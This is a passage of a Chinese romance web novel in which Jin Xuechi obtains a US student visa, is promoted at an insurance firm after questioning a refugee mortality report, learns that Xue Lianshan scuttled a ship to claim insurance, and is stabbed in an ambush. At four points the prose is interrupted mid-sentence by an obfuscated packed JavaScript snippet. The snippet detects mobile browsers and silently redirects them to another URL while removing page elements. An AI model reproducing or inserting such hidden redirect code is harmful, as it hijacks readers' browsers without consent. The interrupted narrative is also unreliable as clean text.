“就是看到女人就绕着走。”薛莲山想起来也觉得很不可思议,在他看来,男人热爱女人是天经地义的,“也不好男风,就是单纯地恐女,跟他原先的太太分房睡。弄得人家郁郁寡欢,最后病死了。” 金雪池一番推理后,总结说:“袁小姐从小就扇他。” 薛莲山笑了,“那不知道,袁小姐确实看不起他,但我觉得挨袁小姐几巴掌根本不能算作坏事。要吃什么?” 他们找了个馆子吃中饭,在外面转了几小时,他的咳嗽又有点故态复萌,二人于是决定回家。金雪池只挽着他的胳膊,走路也发呆,忽然被他一拽,疾步往回走。她不明所以,但安静地快步跟上他,绕到了对面的街区。 这下子她看清楚了:院门口有几个西装革履的男人。 “来给你拜年的?” 薛莲山瞥她一眼,“来讨债的。” “这么文明呀,我老豆讨债都是让壮汉去。” “这是第一次,再过几次壮汉就来了。不仅打我,还会打薛太太。” “不会。”金雪池说,“针对有钱不肯还、没钱也不赚的无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263476|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赖才动武,你这样的,打坏了怎么还钱?就是吓唬吓唬,再砸玻璃、剪电线、泼大粪之类的。” 看来金文彬是讨债专业户,薛莲山逗她不成,又去观察战况。定青在和对方说话,小桂远远地探出一个头。十几分钟后,那几人就走了。 回到家,定青告诉他说:“他们是步步钱庄的,说三月底必须收十万回来。” 薛莲山了然了,他的债主主要是银行、私人钱庄和几个朋友。银行讲道理,知道现在催也是白催,只是一味地给他加利息并警告别再想贷款了;几个朋友也不会这么快就来为难他,只有私人钱庄最麻烦。 “十万倒是拿得出来,但现在手上的钱都有用处。下回再来,你请他们进来喝茶,好好敷衍。” “那就是不给的意思?” “对。” 金雪池歪在沙发上,掏出一张淡绿色的吸油纸按在鼻梁上,按了一会儿,纸就透明了。这种东西她看孙婕霓用过,当时没理解它的用途,想不到能在这里又碰见。薛莲山一边和定青说话,一边就看她,忽然走过来亲了她一口。 她毫无准备,猛地向后躺倒,因为沙发是木质的,后脑勺磕得咚一声响。他忙把她拉起来,“磕疼了?” 金雪池眼前直冒金星,觉得很丢人,“没有。” 他伸手揉她的后脑勺,揉了两下,一把托住她的背、另一只手搂过她的腿弯,直接把人抱起来。金雪池大吃一惊,不敢乱动,“放我下来!” 他不放,也不急着把她抱去哪,就是抱着满屋子乱走。走到圆几上的花盆旁,他像给小孩介绍布景似的,说:“这是洋紫荆。” 然后走到角落的老爷钟边上,“这是钟。” 当着定青和小桂的面,金雪池要羞死了,把脸埋在他胸前不吭声。他终于把她抱进卧室,对着全身镜道:“这是薛先生和薛太太。” 在她之前,从来没有“薛太太”这一说;在她假扮了“薛太太”后,即使没有外人在,他却叫上瘾了。金雪池终于忍不住抬起头,看了镜子一眼:这是薛先生和薛太太。 君当作磐石,妾当作蒲苇。蒲苇韧如丝,磐石无转移。 他微微笑着,退后几步,坐在了床尾,仍把她抱在腿上。伸手箍住她的腰——真细,像扎起来的一束花。有温热的呼吸喷在她的脖颈上,还有什么东西抵着她的腿根。金雪池在这方面毫无经验,一开始还以为是他西裤口袋里的手帕,后来那东西越变越硬,她才反应过来,猛地一下挣脱他。 他拽着她的手腕,“妹妹。” “不行。” “什么时候行?” “......我不跟你说了。”她用力抽手,偏偏他也用了力,攥得相当紧。金雪池完全动不了,只好说:“我不接受婚前性|行为。” 她字正腔圆把“性|行为”三个字说出来,学生气十足,薛莲山不禁笑了,“我们不是结婚了?你不是薛太太?” “这是——这是假的。” “哦,你想要真的。” “我没想要,只说有真的以前不行。” 他只好松开她的手腕,有些悻悻然。 60.领事馆 初六晚上陈幼兰打了个电话到薛公馆来,刚“喂”了一声,金雪池便悚然一惊:她忘了给陈幼兰打一通拜年电话,或者亲自上门拜访。人家是孕妇,理应受到她的关怀。不过陈幼兰毫不计较,兴冲冲道:“有一封信寄到我们家了,打了好几个洋邮戳,收件人是你。是遣人给你送过来,还是明天你来拿?” “我明天来吧。” “那我要让厨子做点好的。” 金雪池本想叫薛莲山一起,但因为昨天和他闹了一通,心里很有些气恼,觉得不该总跟他乱混乱玩,叫他以为自己是个随便的人。而薛莲山听说她要出门,亦不发表意见,只是翻个身继续睡懒觉。 到达袁公馆的时候,陈幼兰正在一个本子上画花样,袁孝勋也起了,但是似乎起得不情愿,躺在沙发上闭着眼睛、呵欠连天,跟着无线电里放的粤剧摇头晃脑。 一见金雪池进门,陈幼兰便把无限电关了。袁孝勋砰地一声双脚落地,很恼怒的样子,又不好发作,忽然抄起茶案上摆着的信封,作势要撕开。金雪池不怕他看内容,只怕他看到“Chin Hsueh Chih”这个名字,几乎是飞过去夺了过来。 抢夺之中,信封已经裂了个口子,不知里面的东西破没破。她在那里面无表情地拆信,袁孝勋也背着手乱晃,谁也不跟谁客套。陈幼兰夹在中间,万分尴尬,小心翼翼地凑上去想看信纸破没破;不料自己一靠近,金雪池就把信纸折好收进了手袋里。 “哎......”她陪着笑说,“没、没破吧?” “没有。” 金雪池的心情已经十分雀跃了,加州大学要她!嘿嘿,就算王院长说她平均分不够,一封推荐信就还是把她推荐过去了。又有书读了,又可以和他一起走了。她回去捡刚情急之下扔在地上的袋子,对陈幼兰道:“这是我们家做的腌肉,味道很好。还有一顶抹额,给你头部保暖用。” 陈幼兰接过腌肉,依然红着脸,赶忙叫女佣端茶送点心。茶是凉茶,本来就苦,里头还窜着生姜的辣味。金雪池只喝了一口,顿了顿,就把杯子放下了,“好奇怪。” “别人送的。其实还好,喝多了就习惯了,祛湿嘛。” 袁孝勋插嘴道:“只有你一个人喝得习惯。” 陈幼兰不理他,仍对着她笑:“你们家先生回啦?” “回了。” “怎么不叫来一起吃饭?我今天准备了很多好菜,还煲了汤。” 袁孝勋又插嘴说:“你这么难看,他懒得来看。” 金雪池勃然小怒了,越过陈幼兰盯着他,“幼兰比你好看多了,你不仅油头粉面,还没教养。而薛先生是最有教养的人,不来是因为身体抱恙,他刚从桂林回来。你这段时间又在做什么?” “薛太太。”陈幼兰叫住了她,同时感到非常诧异,不知道她还能反应如此快、言辞如此犀利。本来自己已习惯袁孝勋的疯言疯语,丝毫不受触动,但她一席话出来,真让陈幼兰受触动了。 她是真的爱她那位丈夫。原来爱是这样的。 “我有必要公道地说一句,孝勋最近做了不少好事。”陈幼兰细细道,“他成立一个私人的难民会,设立了五个免费发放食物的救济点,还写了几篇文章,投了报纸,昨天还去主持了国货展呢。别看他这人嘴上混,心里还是懂道理。” 金雪池很理解她突然说这个,就像两个女子在家里对诗,突然意识到房梁上有个锦衣卫,诗歌内容便一转开始颂圣。袁孝勋倒皱了皱眉头,一声不吭,抱起无线电回了自己的房间。 中午陈太太没下来和她们一起吃饭,陈幼兰解释说是回老家祭祖了。金雪池心念一动,“回温州?” “回广州。” “我在广州有几房亲戚,说不得还互相认得。你娘姓什么呢?” “姓邝,我外祖父叫邝盖世,有点小名气。你那亲戚呢?” 金雪池胡编了一串名字出来,同时想:陈幼兰答得这么顺畅,并不把她和照片里的人关联起来。想来也是,自己也和少女时期大不同了,当年做少女的时候又瘦又黄又皱巴巴的,薛莲山看都不多看她一眼呢。 这下好了,陈太太祖籍广州,再巧也没有了。 本来她还打算再坐一会儿,因为茶点很好吃,不过陈幼兰劝她走,说她如果在这里,袁孝勋就不会下来吃饭。金雪池只好告辞,不知道天下有这样的男人。好在这男人虽神经质,倒也没什么破坏力,很多纨绔都是真会打老婆的。 薛莲山看到她的录取信,亦是十分高兴,读了好几遍,立刻带她出门办签证。把车停在领事馆大门口,远远就看见了玻璃门后金发碧眼的洋人,浓度之高,令人望而却步。 前来领事馆的人非常多,金雪池去排队,踩在一条被踏到起毛的红地毯上;薛莲山在队伍外,和她低声说话,她往前挪一步,他也跟着往前挪。像是一种庄重的仪式,不属于他的路,他却始终陪她。半个小时的等待过去,她觉得和他的一生都走完了。 业务员向她投来征询的目光,她就向薛莲山投去征询的目光,他笑道:“高材生,跟他们说几句洋文!” 金雪池没办法,只好磕磕巴巴地开始问学生签证怎么办,其句式之坎坷、发音之曲折,令人咂舌。业务员让她重复一遍后,终于听懂了,说了又快又长的一大串。她说:“Pandon?” 后面排队的人叫道:“Pa你老母啊!” 薛莲山只好走上来跟人家交流,几句话后,拎着金雪池往外走,道:“书都读到狗肚子里去了!圣约翰不是英语教学吗?” 她争辩说:“又不考口语,我只会听不会说。而且他说的也跟中国人说的不一样。” “其实差得也不大。” “好吧,他说什么?” 业务员说要往一个账户里存两千美元后再冻结起来,提供中英文存单。金雪池跟着他去了洋行,非常惊讶地发现他给自己弄了个账户,过去她上交的所有工资都存在里面;现在他又从自己的账户里转了点钱出来喂养她的小账户,凑齐了两千美元。 他还是一分钱都没拿她的。这人要使自己的言行在道德上立于不败之地,谁也不能挑他的错,谁也不能指责他不是君子。日后吵架、分家了,她也没有坏话可说。这么多年来,他就是一步也没走错、一个便宜也不占、一次也不曾被情绪冲昏头脑,才把自己打造成一个霁月光风的薛先生。多么累,但多么让他满足。 她尊重他,不再提让他收下工资的话。 把中英文存单打印出来,洋行下班了,领事馆大概也下班了,他们只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269481|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好先回家。第二日他又一大早带她去办签证,算是了却一件心事。签证申请发出去了,又办护照,护照就好办得多,地方政府可以直接批,不过来来回回还是跑了好多天。解决完毕后,年也过了,她要上班了。 在家蓄养了这么多天,再回归到六点起床的作息,她头痛欲裂。要是她是他身边的一只小猫小狗就好了,脑子也笨,想不到太多问题,只趴他腿上睡觉。 算了,她不想放弃身为人类的思维乐趣。他也不喜欢小猫小狗。 金雪池睡眼朦胧地准时到佩珀,先掏出花卷吃,再从报纸栏上抓了一大摞报纸回来,囫囵翻着看,确实看到报社把袁孝勋献的那番丑描述成义举。小胖子提醒她:“现在是上班时间。” 她想起自己和他之间挡着的那摞书是怎么没的了,无可奈何,收起报纸,找出最新的《难民死亡率周报》摊在桌面上。油麻地难民营的儿童死亡率在二月第二周突降至0.97%,此前连续八周稳定在1.2%-1.5%之间,第三周又跳回1.46%。作报告的职员在下方批注:过年期间,福利组织大批量发放药品,临时医疗救助起效。 金雪池是没资质写报告的,她是助理,只能完成小胖子下达的计算、绘图、打字、收发信件等任务,报告到她手里,不是让她审核,只是让她校正。 但她怎么看怎么不对,跑去核对了同期的《难民营药品消耗记录》,发现阿司匹林的消耗率仅仅高了一成不到。福利组织只发这一种药,几乎是万金油,什么毛病都能用。 她问小胖子:“这不对吧?” 小胖子教育道:“你做事,要做全面。药虽然只多了一成,食品可是多发了好多,也能让人度过难关吧?” 金雪池于是很羞愧地缩回去了,认为自己确实考虑问题不全面。于是又把《难民粮食消耗记录》翻出来,算从九月到二月粮食消耗和死亡率的相关性,噼里啪啦直打算盘。算出来的相关系数是-0.23,t值为-1.1,其绝对值低于t在n=22时的临界值2.07,相关性并不显著。 就算它相关,建一个多元回归方程,预测在二月第二周食品供应增加1800磅、药品多10%的情况下,最多将死亡率降到1.15%,0.97%是无论如何都有问题的。 她苦思良久,再次鼓起勇气向小胖子开口:“密斯特项......” “密斯金,”项康年略有点不耐烦道,“我让你打一封信出来,你打了吗?” “哦,我中午就打。我就是想说......” “我希望你能明白你是一个助理,你不是一个成熟的员工,你还需要在我的指导下积攒经验。如果你想干什么就干什么,那不会又任何长进。” 金雪池二话不说,坐回去打字了,心里很不爽。在她看来,除了学校里的老师,社会上的大多数人并没有指教她的资格。不过是多工作几年,摆什么架子,连她的话都不能听下去? 完成了打字工作后,她直接去找了上司布朗,布朗在开会,也是日理万机的大忙人。便把自己的想法写成一张条子,连同摊开的《难民死亡率》周报,摆在了对方的办公桌上。她向来是个得过且过的人,但因为立下了要好好工作的志向,又受了小胖子几句批评,在这事上就非认真不可了。 61.升职 第二天,布朗让她去办公室见他。 金雪池很紧张地推门而入,先鞠躬,她还是不习惯应付领导一类的人物。布朗掸了掸烟灰,用他那优雅的伦敦腔,大致表达了这么一个意思:你的工作做的很好,即使你入职三个月都不到,也可以从助理升级成正式职工。望你继续保持职业敏锐度,为佩珀创造更大的效益。 那一刻她心里只有一个想法:人家不愧是当领导的! 布朗把她从人寿业务组调到了船舶业务组,且主要负责审核工作,工位也换了。金雪池收拾东西的时候,小胖子还不明所以,只知道她升职,说了好几个“Congratulations”;而金雪池端着一副含蓄而有尊严的表情,只是微微点了点头。 她想把这个好消息跟薛莲山分享,但他又走了。 家里只剩定青和小桂,她知道他们都很好,但跟他们分享此事和跟薛莲山分享根本就不是一回事;二来呢,他们也正打得火热,无意搭理她。 薛莲山一走,小桂又开始对着定青发力。 她没觉得定青有什么不好,好极了,是能过日子的好人。可她觉得自己还年轻,不到过日子的时候,对于男人,就有不那么务实的标准。定青虽然也穿西装、读报纸、每天洗澡,但完全是对另一人的拙劣模仿,自己是没有内源的。 这种特征在薛莲山出差的时候更明显,既然不与主子同出入、丢主子的人,他就懒得勤刮胡子了,下巴青茬茬一片。另外,衣着也越来越不正规。为了修水管方便,他赤着脚在家里走来走去,把裤管撸到大腿上。 小桂倚在门框上看他修,把脚上的木拖鞋甩出去、命中他的小腿。定青一回头,“做什么?” “鞋子掉了。”她单脚站着,很俏皮地笑道,“劳烦帮我捡过来。” 定青于是流露出讥讽的神色——他向来是个忠厚人,也或许是因为向来都待在薛莲山一个人身边,这样的神色并不常有,是小桂来了些时日才有的。他不好好捡,一脚给她踢过来,踢得过远了,小桂一回头,懊丧道:“喂,太远啦!” “自己去捡,我就赤着脚。” “你赤着脚,我就要赤着脚?” “你为什么不能赤着脚?” “我是女人嘛。” 定青想:你是佣人,你都该跟我一起踩在污水里掏管道。不过他最终也没有叫小桂来一起掏管道,大概因为厨房的积水里掺了泥,而她的脚很白,踩在里面,不太好。 如此没有营养的对话、互动,一天要发生十几回,谈不上多好玩,主要是薛莲山不在家,两个人都太无聊。金雪池虽不太跟他们说话,但很爱观察他们,越观察越觉得有意思,觉得人类的感情真是妙不可言。 周五时,布朗开了一场会,在会上提到了她,并且做出表扬。金雪池没料到他会当众把自己找他纠错一事说出来,一时十分尴尬,会议结束后第一个溜走,怕碰到小胖子。下班时下了雨,她打电话让小桂送伞来,刚出办公室,迎面就撞上了小胖子。 时运不济,躲避已经来不及,她只得打招呼,“密斯特项,你好。” “密斯金。”项康年一点头,并没有显现出特别恼恨或是阴沉的神情,“怎么还不走?” “哦,我等人送伞。” “人还没来吧?我跟你说几句闲话,可以吧?” 金雪池无计可施,点了点头。 “最近卫生署在向政府申请拨款,但不是想申就能申到的,必须表现出他们的初步措施有效,才能申请到更多资金;如果死亡率长期居高不下,款子批不下来。目前,政府把公益投入成效评估这个项目交给佩珀来做。死亡率居高不下、管理不善肯定是事实,但若没有钱,只会更糟。我问你,港政府的钱是哪个国家的钱?” “......英国人的钱。” “难民是哪里的难民?” 她一声不吭。项康年又说:“你纠错的那份文件,人寿业务组的五位职员都看过了。” 他走了,长廊上只留她一人,浸泡在打字机的嗒嗒声和苏格兰风笛唱片声中。三月仍是春寒料峭时节,淡绿色的玻璃窗外、不知是什么建筑,天台上插一面米字英国旗,被风吹得卷成一团,裹在杆上。 金雪池一连好多天都闷闷不乐,她不想去上班了,既不愿面对人寿业务组的前同事,因为太丢人;也不想见到船舶业务组的新同事,因为升职升得可耻。 更别提三天后,她收到了一封爱丽丝号沉船的电报。 爱丽丝就是乔裕民租给薛莲山的其中一艘船,老旧得不成样子,速度很成问题,转向也转得困难。虽然这船早就显示出了问题,但直接沉了,还是让她大吃一惊。 薛莲山不在家,会在哪里,不能刚好在船上吧?如果他又一个月不回来,航线停运一个月,又会造成多大的损失? 金雪池脑子混乱一天,六点下班的时候,却在门口看到了他。他举一把伞,笑眯眯的,说:“过来有点事,正好接你下班。” “你——”她心里陡然一松,三步并作两步到他身边,“你知不知道爱丽丝......” “我就是为爱丽丝来的。”他给她打伞一直打到汽车边上,然后拉开了副驾驶的门——第一次,不是后座,而是副驾驶。金雪池在他的荫蔽下钻进副驾驶,车门一关上,凄风苦雨都隔绝在外了,车内静静的,有他发霜的气息。 他从另一侧钻进来,打开雨刮器,由于是二手车,雨刮器被晒变了形,和挡风玻璃互相挤压出吱吱声。 “薛先生,我当时和你说投保的事,你还记得吗?佩珀只能赔80%。” “你说的话,我怎么会不记得。” 那时候我们在吵架,她默默地想。“你损失多少?” “我没有损失,因为船是我让人凿沉的,当然事先没有装煤。本来就快沉了,免得担惊受怕。”他不紧不慢道,“码头工也收买好了,问就是装了煤。反正船沉到海底了,死无对证。佩珀要赔我连船带煤80%的损失,乔裕民也要给我一个解释,船怎么这么破。” “水手呢?” “乘救生艇都上岸了。” 金雪池思考了片刻,感觉他讹佩珀讹得天衣无缝,卫生署没讹成功,却怪自己。她没忍住把这事讲给他听,一边讲,一边觉得很别扭,这样给人诉苦的经历,对她来说还是少有的。 薛莲山仔细听了,笑道:“我看你没必要难过,卫生署高层也是洋人,这种拨款一般都用来中饱私囊了。” “可是照密斯特项的意思. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277529|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .....” “他要是真在乎,就该在你问的时候说清楚。事后才跑过来道德绑架,只是为了过过瘾。”薛莲山不以为然道,“何况,自己的善心怎么能外包?你作为佩珀的员工,为公司着想是对的。” 尽管金雪池认为人都很复杂、且各有各的奇怪之处,譬如小胖子,架子大是真的,有善心也是真的,但听薛莲山为她讲话,有没有理她都高兴了。 到家门口,她下了车,他从窗口探出半个头,“我不进去了,我找乔裕民去。” 她下意识就问:“几点回?” “太太现在这么严,要管几点回家呀?”他笑道,“十一点之前吧。” 薛莲山从来没有要早回家的意识,但这样跟她说过以后,确实一直看时间,十点就跟乔裕民不欢而散了。出来后突发奇想,把车开得很慢,在雨水淋漓的夜里悠转。 迟了又如何呢?金雪池会有什么反应? 十一点过一刻,他到达家中,没有人在等着他回家,只好进房看金雪池。金雪池正趴在床上,手上拿着一支铅笔,聚精会神看报纸上登的象棋残局题。 他站在门口,看她转了三分钟的笔。 那截铅笔被用得有点短,按理说不好转,但金雪池简直能转出残影,偶尔掉了,啪一声落在报纸上,再捡起来继续。这是她思考时无意识的动作。但他是第一次看到人转笔,他想,只有在学堂里有过很多、很多悠闲时光的人才会这么玩。 等他去洗了个澡、回来坐在床上,金雪池才爬起来,“你回来了。乔裕民怎么说?” “我早回来了。” 她挠了挠耳朵,不知道要不要再问一道“乔裕民怎么说”,台灯便被陡然拉灭。几秒后,她想清楚自己哪儿错了,也不多解释什么。 第二日是礼拜六,她睡完懒觉起来,薛莲山早就出门了。无事可做,就撕下一张草稿纸写残局的解答——报纸上说了,写出解答的奖励一角钱。为了节约邮票,她攒了十期报纸的残局题一起写。 原打算让定青送到邮局去,但定青和小桂正在打情骂俏,她踌躇了片刻,感觉打搅他们不太好,还是自己步行出门。 天气很好,昨天下过雨,空气里凉润润的。因为一会儿就回,她试穿皮鞋,踏在碎石路上,笃笃地很好听。金雪池走着走着蹦起来,蹦到一家成衣店的橱窗前,欣赏自己的倒影,觉得皮鞋的小高跟确实是让自己显得更高、腿更长,以后应该慢慢学着穿。 倒影中,有一个男人躲到了邮筒后去。 金雪池对着玻璃整理了一下刘海,过了马路,把信封投到邮筒中,进了一家咖啡厅。点完单,她问店员厕所在哪里,不等咖啡上来就去了厕所,踩着水箱从厕所上方的窗口翻出去了,在路上摔了个四仰八叉。顾不上路人惊异的目光,拦了一辆黄包车便回家。 下午外面的电话打进来,因为小桂和定青又在打情骂俏,金雪池去接了。那头是薛莲山的声音:“起床啦?” “早就起床了。” “下午来不来吃饭?有好多人,你不想来也可以。” “是我自己去,还是你来接?” “你要我来接,我就来接。” “你来接吧。” “好,三点见。” 62.遇刺 三点他到时,金雪池正想说有人跟踪自己的事,结果车不是他的车,开车的也另有其人。她只好闭着嘴上了后排,坐在他身边。 副驾驶位上的男人回头看了她一眼,“这位就是薛太太呀?真是郎才女貌。” 薛莲山笑道,“才貌都是太太的。” 他称呼副驾驶位上的男人为“林先生”,两人一路相谈甚欢。林先生是东道主,然而似乎完全地被薛莲山迷住了,因为激动,所以声音很大、语速很快;薛莲山靠在座位上,时不时插两句话,其姿态之闲定、谈笑之自若,似乎他才是长辈。 林先生感慨道:“我与薛先生真是一见如故!” 谁跟薛莲山都是一见如故,本质上不是两人真的一见如故,而是薛莲山愿意让对方有“如故”之感,对方就能有。薛莲山笑道:“我也是有同感,热衷教育的人并不多,能碰到林先生,既是国民之幸运,也是我之幸运。往后还要仰仗林先生。美国毕竟以广东籍移民为主,我一个外人,在其中格格不入——” “哪里哪里,你到何处都是吃得开的。” “不,不,还是需要林先生的提携。我今天来,就是拜林先生的码头的。” “哎哟,这说的,”林先生捧腹笑道,“太抬举我了!” 金雪池一头雾水,不知道薛莲山又有什么动作。下了车,三人进了一家饭店的包房,两面被花鸟屏风隔开,墙上挂了一副万里长城的巨幅画作。席间除了一个袁孝勋,其他都是陌生人;但薛莲山似乎每一个都认得,谁跟他说话,他都敷衍得好。 氛围热闹非凡,只是没人来理她。 她坐在薛莲山右手边,他左手边坐了个小女孩,是林先生的女儿。林小姐看到薛莲山特别兴奋,一直叽叽喳喳地跟他说话:“......我们家的狗特别可爱,它的毛是卷的。然后去年夏天我给它剃了毛......然后它就变得很丑,觉得它的好朋友不会跟它玩,不肯出去了,我还是把它抱出去。” 薛莲山低着头凑很近听完,顺便给她夹了一块桂花糕,“其他狗狗和它玩吗?” “以前它们会扑我的狗,现在我抱着狗,它们还是扑。应该也不是很丑吧!” 他笑眯眯道:“是你很漂亮呀。” 散席时,林小姐再三强调要邀请他到家里去看狗,林先生在车里叫她,她也不走。薛莲山一把抱起她塞进去了,又半蹲在车边跟她挥手告别。 金雪池慢慢踱到他一步之后的地方,晚风吹过,薄薄的小刘海向一边偏。她特意打扮过,且往典雅的方向打扮,头发梳得光滑平整;因为颅骨的形状小巧优美,包上一层厚头发,更是圆溜溜的。 他一只手盖住她的后脑勺,顺着脖颈抚下来,滑到腰上,“走几步吧,这里搭不到黄包车。” 她被推着走,道:“你酒量真不错。” “不上脸,是不是?其实已经头疼了,没有办法。今天是林先生做东,他的酒不能不喝,他的小姐不能不恭维。”薛莲山把她搂得更近,低声在她耳边说,“今晚你才是真漂亮——没有办法,我不是东家。” 她以为他会继续谈笑风生,这个聊得来、那个是朋友,这个美、那个也美,各有各的美——他一向都这么说话,到了只剩两个人的场合,还要继续展现四海之内皆兄弟、天下女人都很美的观念,不管是不是真的,把自己推到月亮上面,又让对方心酸到泥里去。 然而今晚,她比别人都要漂亮一点。 “学校是怎么回事?” “那天去领事馆,人很多,超乎寻常得多。随着战争愈演愈烈,会有一大波移民拖家带口去美国。你知道中国人最舍得在哪方面投资吗?” “小孩身上。” “所以我有个新思路,趁着这波热潮,办个学校。那边的华人学校还不成气候。林望舒一家今年四月就去,我预备和他搭伙做这个事。” 金雪池感觉他有个问题,就是做决定太快了,但或许做生意就是需要果断,思量多了,再而衰,三而竭。“那你还做煤矿吗?” “做,我后天就去安南。” “后天就走呀?” “不走,你反正也不等我回家。” 金雪池大吃一惊,没想到他又暗暗在生这个气,生了气他也不说。他只要说一句“你得等我回家”,她从此就等了。 他们拦下一辆黄包车。薛莲山感觉酒劲儿一阵一阵往头上冒,闭上了眼,上一次被人灌这么多酒,都不记得是什么时候。放在一年前,这些做茶叶、布料生意的,投资学校的、当老师的,加起来也没他一个煤老板有钱。现在换他求着他们了,真是造化弄人。 他穷过,但真没欠过这么多债。早上跟林望舒一盘算,要是找得到现成的校舍还好说,自己修的话,前两年的收入还不够涵盖投入的。 这辈子还得完债吗? 纵有万千愁绪,也没有对着小姑娘说的道理。他摩挲着她的腰,只觉得她这么漂亮,没人给她面子,是他对不起她。 金雪池贴着他坐,觉得自己完全鬼迷心窍了,他身上有酒气,她也喜欢闻。谁都没有讲话,但谁都不用讲话,只随着车身的摇晃一起摇晃,像是船在水上、婴儿在摇篮里,昏昏然快睡着了。她是因为精神懈怠,他大概是因为醉酒,说起来,下回她要不要帮他挡酒呢?怪难为情的,她总不适应成人的交际场面。 拐进岔路口,颠簸越来越有规律,她几乎睡着了。 变故就发生在一刹那! 一柄雪亮的刀刃扎透油布、刺向她的心脏,金雪池猛地往前一栽,强忍剧痛,掏枪反手就是一枪,实则眼前阵阵发黑,什么都看不清楚。 黄包车夫狂叫着撒腿就跑,车身顿时倾倒,她死死抠住坐垫,没跌下去;薛莲山也在同时跳下车,掏出自己的勃朗宁,对着逃跑的背影连打三发,没子弹了。 然后他迅速扶金雪池下车,脱了她的大衣,将手帕用力按在旗袍上的破口处。汩汩鲜血瞬间浸透了手帕。 “能走吗?我抱你就压不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282168|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤口。” “能。”她一张脸已经变得惨白,抓住他的手臂,疾步往前走。 现在太晚了,街上空荡荡的,走了两三分钟都没碰到黄包车或者私家汽车。他压伤口的手很用力,几乎压得她骨头疼;另一只手横抱在她胸口,就感觉她越来越软、越来越往下滑。 “薛先生,”金雪池轻声说,“我、我有点走不动......” 他一把抱起她,拔腿就跑,跑过一个街口就开始大喘气,双手直抖。金雪池闭着眼睛,感觉他停下来深吸了几口气,把自己往上掂了掂,继续跑。她的耳朵贴在他胸口,听到那一套破损的心肺为自己加速运转,几乎要脱轨。 金雪池自己的心倒很平静,也有可能是因为失血过多,激动不起来了。她想:我走了,找老豆去了。 至于说如何拦下了一辆私家车、如何进的诊所、如何缝合伤口,她一概没有印象。再醒来的时候,天光大亮,薛莲山正以一个抱小孩的姿势把她反抱在怀里;她的下巴搁在他肩头,两手垂下,双脚从他两腿边岔开。咦,她的腿不该被旗袍束住吗?旗袍没了,她换上了一身素白的衣裤,被用一层毯子裹着。 不等她对这个姿势和谁脱了她的旗袍发表任何异议,疼痛率先击中了她。麻药的药效已经褪了大半,她倒抽一口气,没忍住呻吟出来。 “醒了?”薛莲山连忙睁开眼睛,“没事了,伤口不深,没伤到器官。” 金雪池快疼死了,把脸埋在他怀里,没忍住流了一串眼泪。他不敢摸她的背,只能把一只手搭在后腰上轻轻摩挲着,“和我说说话,转移注意力。好妹妹,你当时真镇定,我都吓了一跳,看你那样往前倒,以为是他捅得你往前。” “不是,往前倾......躲背后刀,我老豆教的。”她呜咽道,“啊......凶手抓到了吗?” “巡捕刚来了一趟,等你好些了,我们再去巡捕房详谈。凶手扔下了带血的衣服跑了。” “你......你不是开了三枪?” “他都跑远了,勃朗宁做那么小,射程不太行,最多有一两枪打中了腿。就你那一枪打得准,离得近,打中了腹部。再说,我近视。” “戴了眼镜也看不清楚吗?” “稍微有点扭曲,我看阶梯就是弯的。” 金雪池又是一声呻吟。他安慰说:“没关系,总之他肯定重伤了,要么能发现尸体,要么就搜查各医院昨晚送来的枪伤患者,找的到。喝不喝水?饿不饿?小桂马上来了,我让她给你带粥。” 她对于自己的姿势感到非常尴尬,绝不愿意让小桂看见,背上又有伤,薛莲山就把她趴着放在了一张床上。他拆开她松松垮垮的发髻,重新编了辫子。 她对于他会编头发,根本不感到奇怪,只是静静掉着眼泪。一是太疼了,二是大难不死,又不知道什么时候才能见到老豆。她真想他,脆弱的时候尤其想。老豆要是在,掉的眼泪要比她还多,现在她就是命令薛莲山挤,他都挤不出半滴来。 63.描花 小桂和定青来了一趟,送来了宽松衣袴、小米南瓜粥和几颗红枣,两人都对这一通遭遇感到非常惊怖,小桂还试图喂她。金雪池拒绝了,捧着碗坐在床上吃,仍然因为三张脸瞻仰着自己而感到不适,又背过身去。 